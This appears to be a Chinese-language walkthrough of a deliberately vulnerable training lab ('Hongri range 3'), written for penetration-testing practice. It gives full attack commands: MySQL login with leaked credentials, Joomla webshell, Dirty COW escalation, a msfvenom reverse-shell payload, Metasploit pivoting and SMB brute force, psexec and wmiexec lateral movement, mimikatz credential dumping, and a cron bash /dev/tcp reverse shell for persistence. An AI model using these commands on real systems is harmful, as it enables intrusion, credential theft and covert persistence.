红日靶场03
红日靶场3
在开始之前,可以先看看文末的总结避避坑👇
环境配置
操作的时候按照网上来的,结果频繁出错,过程略显曲折,最后重新分析一下其实很简单:
先配置一张仅主机的网卡vmnet2:192.168.93.0(名字和IP固定的最好不要乱配)

再将所有机器全部开机(最好先开ubantu再开centos,否则容易502),然后将centos的网卡1改为NAT模式即可
完事后,centos重新获取NAT模式网卡ip:
service network restart

完毕,准备开打
信息搜集
IP探测

nmap扫一下确定IP是192.168.111.129
端口探测

发现开放了22、80、3306端口
网页信息搜集
访问80端口:

网站启用了Nginx反向代理,cms是很经典的joomla,但不知道版本号,扫扫目录:

在README.txt发现了版本号:

可知版本为3.9,比较新(相较靶场发布的时间😁)
还发现有个configuration.php~,疑似配置文件,看看:

泄露了一个mysql用户密码
漏洞利用
mysql重置管理员密码
因为端口开启了3306,直接连接试试:
mysql -h 192.168.111.129 -utestuser -pcvcvgjASD!@

成功连接mysql,那么接下来的思考就是获取后台的管理员密码,如果不行再考虑写webshell
由于命令行有点麻烦,这里直接使用navicat连接mysql:

发现admin账户和密码哈希
查询一下加密方式之类的:

找到一个secret密码的的哈希,直接重置管理员密码:

接下来登录后台
后台写马上线Ubuntu
登录成功

接下来就是找能编辑php的地方
发现模板Beez3,老演员了,打DC的时候就遇到过:

直接编辑:

写个后门,保存后连接试试:

直接就上线了,执行命令看看信息:

全部失败,盲猜有disable_functions,在Beez3创建一个phpinfo.php看看:

访问:

可见禁用了exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source等函数,试试用蚁剑的插件来绕过

选择PHP7_UserFilter模式绕过:

成功:

顺便发现了主机内网IP为:192.168.93.120
继续信息收集一下:

主机是ubuntu 4.4.0,继续:
在tmp目录发现了一对账密,回想一下还有哪里能使用密码,很明显是22端口的ssh服务
ssh密码泄露上线CentOS
连接试试:

(我这里需要指定使用ssh-rsa密钥类型才能连接)
连接成功后看看基本信息:

发现主机是变成linux 6.5了,IP为192.168.111.129,内网IP为192.168.93.100而前面我们网页信息收集知道网站采用了Nginx反向代理,那么推测:
- Nginx反向代理将内网的ubuntu(192.168.93.120)上的Joomla代理到了CentOS(192.168.111.129|192.168.93.100)上
所以在centos上查看Nginx配置文件:

OK,发现了Nginx反向代理的标志:proxy_pass
所以我们的推测正确,真正的web服务运行在内网的Ubuntu上
后渗透
CentOS提权
前面信息收集发现centos版本为6.5,看看内核版本:

内核为2.6.32-431.el6,完全符合脏牛提权的条件,直接利用:

本地准备好利用代码,开启http服务,在Centos上使用wget下载利用文件

接下来编译并赋予权限,即可运行利用程序:
gcc -pthread dirty.c -o dirty -lcrypt && chmod 777 dirty
./dirty 123456

运行完毕后系统会新增一个名为firefart,密码为123456的root用户,直接登录:

提权成功
CentOS上线MSF
为了方便内网渗透操作,所以考虑上线msf
首先使用msf生成一个shellcode:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.111.132 LPORT=7890 -f elf > mshell.elf

同样的方法上传至CentOS:

msf配置监听:

CentOS运行程序:

成功上线msf:

内网信息收集
route查看一下:

确实是一个外网IP一个内网IP,接下来对内网IP所在网段进行探测
IP探测
为了方便探测,需要先配置路由:
run autoroute -s 192.168.93.0/24
bg
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run

配置完成,使用auxiliary/scanner/discovery/udp_probe模块来扫描内网主机:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run

可见除了Ubuntu和CentOS,还存在三台域名为TEST的域内主机:
- WIN-8GA56TNV3MV :
192.168.93.10(该主机还是DNS服务器,推测是DC) - WIN2008 :
192.168.93.20 - WIN7 :
192.168.93.30
端口探测
接下来扫描端口:
use auxiliary/scanner/portscan/tcp
set RHOSTS [主机IP]
run



横向移动
SMB爆破win2008
注意到都开启了445端口,所以尝试一下SMB爆破
先试试较老的win2008:
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.30
set pass_file /home/kali/桌面/pass.txt
set SMBUser administrator
run

爆破出密码为123qwe!ASD
psexec横向移动getshell 域成员主机
有了密码直接psexec连接:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run

直接获得了system权限的shell
看看系统信息:

发现域为test.org
同理,用psexec尝试连接win 7:

成功
wmiexec控制DC
已经控制了两台域成员主机了,现在试试同样的方法拿域控:

失败了
和红日2一样的思路,mimikatz启动
由于感觉上传mimikatz比较麻烦所以使用msf中的mimikatz,首先进入win2008的sessions,再开始使用:
加载kiwi模块
load kiwi

抓取一下密码:
kiwi_cmd sekurlsa::logonPasswords

抓取到密码为:zxcASDqw123!!
再次尝试psexec横向移动:

失败,试试wmiexec,我的imapcket套件在windows上所以要再配一下代理
先用proxifier配置一下:

然后直接启动wmiexec:
./wmiexec_windows.exe administrator:zxcASDqw123!!@192.168.93.10

直接getshell了,接下来找找靶场描述的重要文件:

成功拿到flag
权限维持
这里选择对连接外网的CentOS主机进行维持,思路是通过crontab命令将反弹shell的脚本写入定时任务实现权限维持:
执行命令
crontab -e管理定时任务添加任务:
* * * * * bash -i >& /dev/tcp/192.168.111.132/8888 0>&1
查看当前任务列表:
crontab -l
如此,只需nc监听即可获得root权限的反弹shell:

至此,完成了一套完整的渗透流程(痕迹清理除外)
总结
坑点总结
至此第一次打5台主机的靶场,过程略显曲折,有很多坑点,这里简单记录:
- 环境搭建的时候,vmware版本不要过高,我将vmware从17换为16.2解决了很多莫名报错
- 网卡配置务必按顺序进行,否则容易报502网关错误
- 进入内网配置路由的时候建议选择socks4a,本人默认的socks5就一直代理不上
- 端口扫描建议直接使用proxychains代理nmap来进行扫描,我当时懒得改conf文件就直接用的msf的tcp端口扫描
- msf的shell可能不是很稳定,在getshell后可以先migrate进程注入一下再展开其他操作
- 另外,很多地方都有不同的利用手段,比如除了mimikatz操作lasass抓取密码,还可以使用responder打ntlm relay或者使用mimikatz打zerologon来获取ntlm hash,再进行pth攻击……
知识点总结
总结一下知识点与相关操作:
目录扫描敏感文件,获取mysql账号密码
joomla写webshell,这里是利用了joomla后台有编辑php模板的功能
dirtycow提权,更多细节见我这篇文章:linux内核提权-Yuy0ung
mimikatz抓取密码,原理请看:windows协议之NTLM-Yuyung
impacket套件的wmiexec实现RCE:ropnop/impacket_static_binaries